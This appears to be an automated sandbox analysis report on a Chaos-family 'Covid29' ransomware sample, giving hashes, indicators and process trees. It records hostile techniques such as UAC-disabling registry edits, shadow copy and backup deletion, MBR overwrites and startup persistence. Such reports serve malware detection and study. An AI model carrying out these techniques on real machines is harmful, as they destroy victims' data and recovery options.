Analysis
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max time kernel
147s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
10-12-2024 20:21
Behavioral task
behavioral1
Sample
Covid29 Ransomware.zip
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Covid29 Ransomware.zip
Resource
win10v2004-20241007-en
General
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Target
Covid29 Ransomware.zip
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Size
1.7MB
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MD5
272d3e458250acd2ea839eb24b427ce5
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SHA1
fae7194da5c969f2d8220ed9250aa1de7bf56609
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SHA256
bbb5c6b4f85c81a323d11d34629776e99ca40e983c5ce0d0a3d540addb1c2fe3
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SHA512
d05bb280775515b6eedf717f88d63ed11edbaae01321ec593ecc0725b348e9a0caacf7ebcd2c25a6e0dc79b2cdae127df5aa380b48480332a6f5cd2b32d4e55c
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SSDEEP
49152:dSrGy+kXRl9cIXjRG8OzbgFSXACZ4UL238tvVZkKNDN0AaFlkUSan:OZlyIzRXOfZv4UrtvVZRW6i
Malware Config
Signatures
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Chaos
Ransomware family first seen in June 2021.
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Chaos Ransomware 9 IoCs
resource yara_rule behavioral2/memory/4900-70-0x0000000000400000-0x00000000005D5000-memory.dmp family_chaos behavioral2/files/0x0008000000023c77-95.dat family_chaos behavioral2/memory/812-103-0x0000000000FC0000-0x0000000000FE0000-memory.dmp family_chaos behavioral2/memory/4900-167-0x0000000000400000-0x00000000005D5000-memory.dmp family_chaos behavioral2/memory/4900-174-0x0000000000400000-0x00000000005D5000-memory.dmp family_chaos behavioral2/files/0x0007000000023c86-184.dat family_chaos behavioral2/memory/4748-192-0x0000000000330000-0x00000000003BE000-memory.dmp family_chaos behavioral2/memory/2796-332-0x0000000000400000-0x00000000005D5000-memory.dmp family_chaos behavioral2/memory/2796-335-0x0000000000400000-0x00000000005D5000-memory.dmp family_chaos -
Chaos family
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description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe -
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 4664 bcdedit.exe 4736 bcdedit.exe 1192 bcdedit.exe 3724 bcdedit.exe -
pid Process 440 wbadmin.exe 4564 wbadmin.exe -
Disables Task Manager via registry modification
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Checks computer location settings 2 TTPs 8 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation TrojanRansomCovid29.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation Cov29Cry.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation svchost.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation TrojanRansomCovid29.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation Cov29Cry.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation svchost.exe -
Drops startup file 6 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\covid29-is-here.txt svchost.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini svchost.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\covid29-is-here.txt svchost.exe -
Executes dropped EXE 14 IoCs
pid Process 3532 Cov29LockScreen.exe 5016 Cov29LockScreen.exe 2108 Bat_To_Exe_Converter.exe 4900 TrojanRansomCovid29.exe 2356 mbr.exe 812 Cov29Cry.exe 4368 svchost.exe 3164 Cov29LockScreen.exe 4748 Chaos Ransomware Builder v4.exe 2796 TrojanRansomCovid29.exe 3272 mbr.exe 4164 Cov29Cry.exe 2312 svchost.exe 3764 Cov29LockScreen.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Drops desktop.ini file(s) 64 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini svchost.exe File opened for modification C:\Users\Admin\OneDrive\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Searches\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini svchost.exe File opened for modification C:\Users\Public\Music\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Documents\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini svchost.exe File opened for modification C:\Users\Admin\Pictures\Camera Roll\desktop.ini svchost.exe File opened for modification C:\Users\Public\Desktop\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Pictures\Camera Roll\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Searches\desktop.ini svchost.exe File opened for modification C:\Users\Public\Pictures\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini svchost.exe File opened for modification C:\Users\Public\Videos\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini svchost.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini svchost.exe File opened for modification C:\Users\Public\Desktop\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Links\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini svchost.exe File opened for modification F:\$RECYCLE.BIN\S-1-5-21-3442511616-637977696-3186306149-1000\desktop.ini svchost.exe File opened for modification C:\Users\Public\Pictures\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini svchost.exe File opened for modification C:\Users\Admin\Videos\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Links\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Pictures\Saved Pictures\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini svchost.exe File opened for modification C:\Users\Public\Documents\desktop.ini svchost.exe File opened for modification C:\Users\Admin\OneDrive\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Pictures\Saved Pictures\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Videos\desktop.ini svchost.exe File opened for modification C:\Users\Public\Documents\desktop.ini svchost.exe File opened for modification C:\Users\Public\Music\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini svchost.exe File opened for modification F:\$RECYCLE.BIN\S-1-5-21-3442511616-637977696-3186306149-1000\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini svchost.exe File opened for modification C:\Users\Public\Videos\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Music\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Documents\desktop.ini svchost.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 mbr.exe File opened for modification \??\PhysicalDrive0 mbr.exe -
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2gk6ybxtf.jpg" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\14vfbao44.jpg" svchost.exe -
resource yara_rule behavioral2/files/0x0008000000023c6b-36.dat upx behavioral2/memory/2108-44-0x0000000000400000-0x00000000004FA000-memory.dmp upx behavioral2/memory/2108-57-0x0000000000400000-0x00000000004FA000-memory.dmp upx behavioral2/files/0x0009000000023c6b-62.dat upx behavioral2/memory/4900-70-0x0000000000400000-0x00000000005D5000-memory.dmp upx behavioral2/memory/4900-167-0x0000000000400000-0x00000000005D5000-memory.dmp upx behavioral2/memory/4900-174-0x0000000000400000-0x00000000005D5000-memory.dmp upx behavioral2/memory/2796-206-0x0000000000400000-0x00000000005D5000-memory.dmp upx behavioral2/memory/2796-332-0x0000000000400000-0x00000000005D5000-memory.dmp upx behavioral2/memory/2796-335-0x0000000000400000-0x00000000005D5000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 35 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Cov29LockScreen.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mbr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Bat_To_Exe_Converter.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language TrojanRansomCovid29.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Cov29LockScreen.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language shutdown.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language TrojanRansomCovid29.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language shutdown.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Cov29LockScreen.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mbr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Cov29LockScreen.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1416 PING.EXE 3100 PING.EXE 4148 PING.EXE 2900 PING.EXE -
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2900 vssadmin.exe 4536 vssadmin.exe -
Kills process with taskkill 2 IoCs
pid Process 2440 taskkill.exe 4880 taskkill.exe -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings 7zFM.exe Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings cmd.exe Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings cmd.exe Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings svchost.exe -
Modifies registry key 1 TTPs 14 IoCs
pid Process 2640 reg.exe 4808 reg.exe 4400 reg.exe 4292 reg.exe 4756 reg.exe 728 reg.exe 652 reg.exe 2652 reg.exe 4964 reg.exe 4912 reg.exe 2744 reg.exe 1456 reg.exe 220 reg.exe 912 reg.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 3512 NOTEPAD.EXE -
Runs ping.exe 1 TTPs 4 IoCs
pid Process 3100 PING.EXE 4148 PING.EXE 2900 PING.EXE 1416 PING.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4368 svchost.exe 2312 svchost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 812 Cov29Cry.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 4368 svchost.exe 3820 7zFM.exe 3820 7zFM.exe 4748 Chaos Ransomware Builder v4.exe 4748 Chaos Ransomware Builder v4.exe 4748 Chaos Ransomware Builder v4.exe 4748 Chaos Ransomware Builder v4.exe 4748 Chaos Ransomware Builder v4.exe 4748 Chaos Ransomware Builder v4.exe 4748 Chaos Ransomware Builder v4.exe 4748 Chaos Ransomware Builder v4.exe 4748 Chaos Ransomware Builder v4.exe 4748 Chaos Ransomware Builder v4.exe 4748 Chaos Ransomware Builder v4.exe 4748 Chaos Ransomware Builder v4.exe 4748 Chaos Ransomware Builder v4.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3820 7zFM.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeRestorePrivilege 3820 7zFM.exe Token: 35 3820 7zFM.exe Token: SeSecurityPrivilege 3820 7zFM.exe Token: SeSecurityPrivilege 3820 7zFM.exe Token: SeSecurityPrivilege 3820 7zFM.exe Token: SeSecurityPrivilege 3820 7zFM.exe Token: SeSecurityPrivilege 3820 7zFM.exe Token: SeSecurityPrivilege 3820 7zFM.exe Token: SeShutdownPrivilege 4044 shutdown.exe Token: SeRemoteShutdownPrivilege 4044 shutdown.exe Token: SeDebugPrivilege 812 Cov29Cry.exe Token: SeDebugPrivilege 4368 svchost.exe Token: SeDebugPrivilege 4880 taskkill.exe Token: SeBackupPrivilege 2372 vssvc.exe Token: SeRestorePrivilege 2372 vssvc.exe Token: SeAuditPrivilege 2372 vssvc.exe Token: SeIncreaseQuotaPrivilege 1368 WMIC.exe Token: SeSecurityPrivilege 1368 WMIC.exe Token: SeTakeOwnershipPrivilege 1368 WMIC.exe Token: SeLoadDriverPrivilege 1368 WMIC.exe Token: SeSystemProfilePrivilege 1368 WMIC.exe Token: SeSystemtimePrivilege 1368 WMIC.exe Token: SeProfSingleProcessPrivilege 1368 WMIC.exe Token: SeIncBasePriorityPrivilege 1368 WMIC.exe Token: SeCreatePagefilePrivilege 1368 WMIC.exe Token: SeBackupPrivilege 1368 WMIC.exe Token: SeRestorePrivilege 1368 WMIC.exe Token: SeShutdownPrivilege 1368 WMIC.exe Token: SeDebugPrivilege 1368 WMIC.exe Token: SeSystemEnvironmentPrivilege 1368 WMIC.exe Token: SeRemoteShutdownPrivilege 1368 WMIC.exe Token: SeUndockPrivilege 1368 WMIC.exe Token: SeManageVolumePrivilege 1368 WMIC.exe Token: 33 1368 WMIC.exe Token: 34 1368 WMIC.exe Token: 35 1368 WMIC.exe Token: 36 1368 WMIC.exe Token: SeIncreaseQuotaPrivilege 1368 WMIC.exe Token: SeSecurityPrivilege 1368 WMIC.exe Token: SeTakeOwnershipPrivilege 1368 WMIC.exe Token: SeLoadDriverPrivilege 1368 WMIC.exe Token: SeSystemProfilePrivilege 1368 WMIC.exe Token: SeSystemtimePrivilege 1368 WMIC.exe Token: SeProfSingleProcessPrivilege 1368 WMIC.exe Token: SeIncBasePriorityPrivilege 1368 WMIC.exe Token: SeCreatePagefilePrivilege 1368 WMIC.exe Token: SeBackupPrivilege 1368 WMIC.exe Token: SeRestorePrivilege 1368 WMIC.exe Token: SeShutdownPrivilege 1368 WMIC.exe Token: SeDebugPrivilege 1368 WMIC.exe Token: SeSystemEnvironmentPrivilege 1368 WMIC.exe Token: SeRemoteShutdownPrivilege 1368 WMIC.exe Token: SeUndockPrivilege 1368 WMIC.exe Token: SeManageVolumePrivilege 1368 WMIC.exe Token: 33 1368 WMIC.exe Token: 34 1368 WMIC.exe Token: 35 1368 WMIC.exe Token: 36 1368 WMIC.exe Token: SeBackupPrivilege 4092 wbengine.exe Token: SeRestorePrivilege 4092 wbengine.exe Token: SeSecurityPrivilege 4092 wbengine.exe Token: SeSecurityPrivilege 3820 7zFM.exe Token: SeDebugPrivilege 4748 Chaos Ransomware Builder v4.exe Token: SeSecurityPrivilege 3820 7zFM.exe -
Suspicious use of FindShellTrayWindow 19 IoCs
pid Process 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe 3820 7zFM.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 3532 Cov29LockScreen.exe 5016 Cov29LockScreen.exe 3164 Cov29LockScreen.exe 3764 Cov29LockScreen.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3820 wrote to memory of 3512 3820 7zFM.exe 83 PID 3820 wrote to memory of 3512 3820 7zFM.exe 83 PID 3820 wrote to memory of 3532 3820 7zFM.exe 84 PID 3820 wrote to memory of 3532 3820 7zFM.exe 84 PID 3820 wrote to memory of 3532 3820 7zFM.exe 84 PID 3820 wrote to memory of 5016 3820 7zFM.exe 95 PID 3820 wrote to memory of 5016 3820 7zFM.exe 95 PID 3820 wrote to memory of 5016 3820 7zFM.exe 95 PID 3820 wrote to memory of 2108 3820 7zFM.exe 96 PID 3820 wrote to memory of 2108 3820 7zFM.exe 96 PID 3820 wrote to memory of 2108 3820 7zFM.exe 96 PID 3820 wrote to memory of 4900 3820 7zFM.exe 97 PID 3820 wrote to memory of 4900 3820 7zFM.exe 97 PID 3820 wrote to memory of 4900 3820 7zFM.exe 97 PID 4900 wrote to memory of 2524 4900 TrojanRansomCovid29.exe 98 PID 4900 wrote to memory of 2524 4900 TrojanRansomCovid29.exe 98 PID 4900 wrote to memory of 2524 4900 TrojanRansomCovid29.exe 98 PID 2524 wrote to memory of 1984 2524 cmd.exe 100 PID 2524 wrote to memory of 1984 2524 cmd.exe 100 PID 2524 wrote to memory of 1984 2524 cmd.exe 100 PID 2524 wrote to memory of 1416 2524 cmd.exe 101 PID 2524 wrote to memory of 1416 2524 cmd.exe 101 PID 2524 wrote to memory of 1416 2524 cmd.exe 101 PID 2524 wrote to memory of 4964 2524 cmd.exe 102 PID 2524 wrote to memory of 4964 2524 cmd.exe 102 PID 2524 wrote to memory of 4964 2524 cmd.exe 102 PID 2524 wrote to memory of 652 2524 cmd.exe 103 PID 2524 wrote to memory of 652 2524 cmd.exe 103 PID 2524 wrote to memory of 652 2524 cmd.exe 103 PID 2524 wrote to memory of 4400 2524 cmd.exe 104 PID 2524 wrote to memory of 4400 2524 cmd.exe 104 PID 2524 wrote to memory of 4400 2524 cmd.exe 104 PID 2524 wrote to memory of 4292 2524 cmd.exe 105 PID 2524 wrote to memory of 4292 2524 cmd.exe 105 PID 2524 wrote to memory of 4292 2524 cmd.exe 105 PID 2524 wrote to memory of 4912 2524 cmd.exe 106 PID 2524 wrote to memory of 4912 2524 cmd.exe 106 PID 2524 wrote to memory of 4912 2524 cmd.exe 106 PID 2524 wrote to memory of 2652 2524 cmd.exe 107 PID 2524 wrote to memory of 2652 2524 cmd.exe 107 PID 2524 wrote to memory of 2652 2524 cmd.exe 107 PID 2524 wrote to memory of 2640 2524 cmd.exe 108 PID 2524 wrote to memory of 2640 2524 cmd.exe 108 PID 2524 wrote to memory of 2640 2524 cmd.exe 108 PID 2524 wrote to memory of 2356 2524 cmd.exe 109 PID 2524 wrote to memory of 2356 2524 cmd.exe 109 PID 2524 wrote to memory of 2356 2524 cmd.exe 109 PID 2524 wrote to memory of 812 2524 cmd.exe 110 PID 2524 wrote to memory of 812 2524 cmd.exe 110 PID 2524 wrote to memory of 4044 2524 cmd.exe 111 PID 2524 wrote to memory of 4044 2524 cmd.exe 111 PID 2524 wrote to memory of 4044 2524 cmd.exe 111 PID 2524 wrote to memory of 3100 2524 cmd.exe 113 PID 2524 wrote to memory of 3100 2524 cmd.exe 113 PID 2524 wrote to memory of 3100 2524 cmd.exe 113 PID 812 wrote to memory of 4368 812 Cov29Cry.exe 115 PID 812 wrote to memory of 4368 812 Cov29Cry.exe 115 PID 4368 wrote to memory of 4908 4368 svchost.exe 116 PID 4368 wrote to memory of 4908 4368 svchost.exe 116 PID 2524 wrote to memory of 4880 2524 cmd.exe 118 PID 2524 wrote to memory of 4880 2524 cmd.exe 118 PID 2524 wrote to memory of 4880 2524 cmd.exe 118 PID 4908 wrote to memory of 2900 4908 cmd.exe 119 PID 4908 wrote to memory of 2900 4908 cmd.exe 119 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Covid29 Ransomware.zip"1⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3820 -
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\7zOCEE32AA7\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:3512
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C:\Users\Admin\AppData\Local\Temp\7zOCEE93D18\Cov29LockScreen.exe"C:\Users\Admin\AppData\Local\Temp\7zOCEE93D18\Cov29LockScreen.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:3532
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C:\Users\Admin\AppData\Local\Temp\7zOCEE70148\Cov29LockScreen.exe"C:\Users\Admin\AppData\Local\Temp\7zOCEE70148\Cov29LockScreen.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:5016
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C:\Users\Admin\AppData\Local\Temp\7zOCEE5A168\Bat_To_Exe_Converter.exe"C:\Users\Admin\AppData\Local\Temp\7zOCEE5A168\Bat_To_Exe_Converter.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2108
